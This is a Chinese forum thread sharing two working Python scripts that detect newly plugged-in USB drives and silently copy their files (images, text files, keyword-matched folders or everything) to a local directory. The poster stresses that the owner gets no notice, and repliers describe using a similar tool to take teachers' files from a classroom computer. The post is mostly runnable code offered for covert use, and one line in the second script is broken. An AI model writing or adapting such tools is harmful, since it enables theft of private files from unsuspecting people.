Python U盘静默下载

查看 76|回复 10
作者:TZ425   
本帖子分享两个Python编写的U盘静默下载案例
可实现悄无声息的将别人的U盘里的老师们下载到自己的电脑,过程不会有任何提示!(仅供学习)
①自动识别U盘盘符并下载指定格式的U盘文件
以下是完整代码:
[Python] 纯文本查看 复制代码import os
import shutil
import time
import psutil
# 获取本机硬盘盘符列表
def get_disk_drives():
    disk_partitions = psutil.disk_partitions(all=False)
    drives = [partition.device.upper() for partition in disk_partitions if partition.fstype != "" and "removable" in partition.opts]
    return drives
# 拷贝 U盘中的 .jpg、.png、.txt 文件到 指定目录
def copy_ppt_files(source_folder, destination_folder, speed_limit_kb):
    for root, dirs, files in os.walk(source_folder):
        for file in files:
            if file.endswith((".jpg", ".png", ".txt")):
                src_file = os.path.join(root, file)
                dst_file = os.path.join(destination_folder, os.path.relpath(src_file, source_folder))
                os.makedirs(os.path.dirname(dst_file), exist_ok=True)
                with open(src_file, 'rb') as fsrc:
                    with open(dst_file, 'wb') as fdst:
                        shutil.copyfileobj(fsrc, fdst, length=speed_limit_kb * 1024)
# 检查是否有新的 U 盘插入
def check_for_new_drive(speed_limit_kb=10240):  # 默认速度限制为 10240 KB/s
    drives = get_disk_drives()
    drives = [drive for drive in drives if drive not in excluded_drives]
    new_drives = [drive for drive in drives if drive not in known_drives]
    for new_drive in new_drives:
        known_drives.append(new_drive)
        print(f"New drive detected: {new_drive}")
        time.sleep(3)  # 等待3秒后再开始拷贝
        copy_ppt_files(new_drive, destination_drive, speed_limit_kb)
if __name__ == "__main__":
    # 已知的驱动器列表,用于检测新插入的驱动器
    known_drives = []
    excluded_drives = [drive + ':' for drive in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]
    destination_drive = "Z://u盘静默下载"  # 目标路径
    # 检查目标路径是否存在,如果不存在则创建它
    if not os.path.exists(destination_drive):
        os.makedirs(destination_drive)
    # 每隔一分钟检查U盘一次
    while True:
        check_for_new_drive()
        time.sleep(10)  # 等待60秒
②运行前需要更改U盘盘符,但是可以下载U盘内的所有文件:
编译器运行会有检测U盘的提示,检测到U盘后直接下载文件到指定路径


检测U盘.png (47.1 KB, 下载次数: 0)
下载附件
2024-8-2 15:48 上传

[Python] 纯文本查看 复制代码from time import sleep
from shutil import copytree, copyfile, rmtree, move
import os
from psutil import disk_partitions
import logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)


# 获取U盘的盘符
def get_usb_dispart():
    for item in disk_partitions():
        if item.opts == "rw,removable": # 可读、可移动介质
            logger.info("发现USB:%s" % str(item))
            return item.device
    logger.info("没有发现USB")
    return None
def get_useb_file(src, path="", select=None, dst=r"E:/"):# u盘的盘符
    if select is None:# 无筛选规则,复制所有
        copytree(src, dst)
        logger.info("复制%s盘USB所有内容到%s" % (src, dst))
    else: # 复制部分
        paths = os.listdir(os.path.join(src, path)) # 获取当前路径下的所有文件及文件夹
        for item in paths:
            item = os.path.join(path, item)
            if select in item:
                if os.path.isdir(os.path.join(src, item)): #如果是文件夹,还有字符直接复制文件夹;否则递归遍历文件夹下的内容
                    try:
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                    except Exception as e:
                        try:
                            rmtree(os.path.join(dst, item))
                        except:
                            continue
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                else:
                    try:
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                    except Exception as e:
                        os.makedirs(os.path.dirname(os.path.join(dst, item)))
                        try:
                            move(os.path.join(dst, item))
                        except:
                            continue
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                logger.info("复制%s 到 %s" % (os.path.join(src, item), (os.path.join(dst, item))))
            else:
                if os.path.isdir(os.path.join(src, item)):
                    get_useb_file(src, item, select, dst)


if __name__ == "__main__":
    while True:
        path = get_usb_dispart()
        if path is not None:
            get_useb_file(src=path, select="测试", dst=r"Z:\usb")#保存到
            break
        sleep(1)

文件, 文件夹

~零度   

高中的时候用批处理命令bat文件做了一个类似的,放到班上教学用的电脑上,用来从老师的U盘里复制课件等
~零度   


Wu19832707520 发表于 2024-8-14 00:02
具体思路是什么

循环检测是否有新的可移动存储设备插入,有的话就把设备里的文件复制到电脑上。当时做的比较粗糙,一个U盘插入两次就会复制两次,浪费电脑的存储空间。
ysjd22   

哈哈,谁会让小姐姐住U盘里呢?
taoxwl666   

这个东西好啊
simoney   

学习了,伸手党表示看不懂。有成品更好
cqdgh   

学习了学习了
tutu2   


~零度 发表于 2024-8-2 16:23
高中的时候用批处理命令bat文件做了一个类似的,放到班上教学用的电脑上,用来从老师的U盘里复制课件等

强   老师们一般以为优盘是最安全的哈哈
tutu2   

我说实在的   你把俩合在一起 不就可以下载优盘所有文件了吗
lzmomo   

看起来很不错,值得学习
您需要登录后才可以回帖 登录 | 立即注册

返回顶部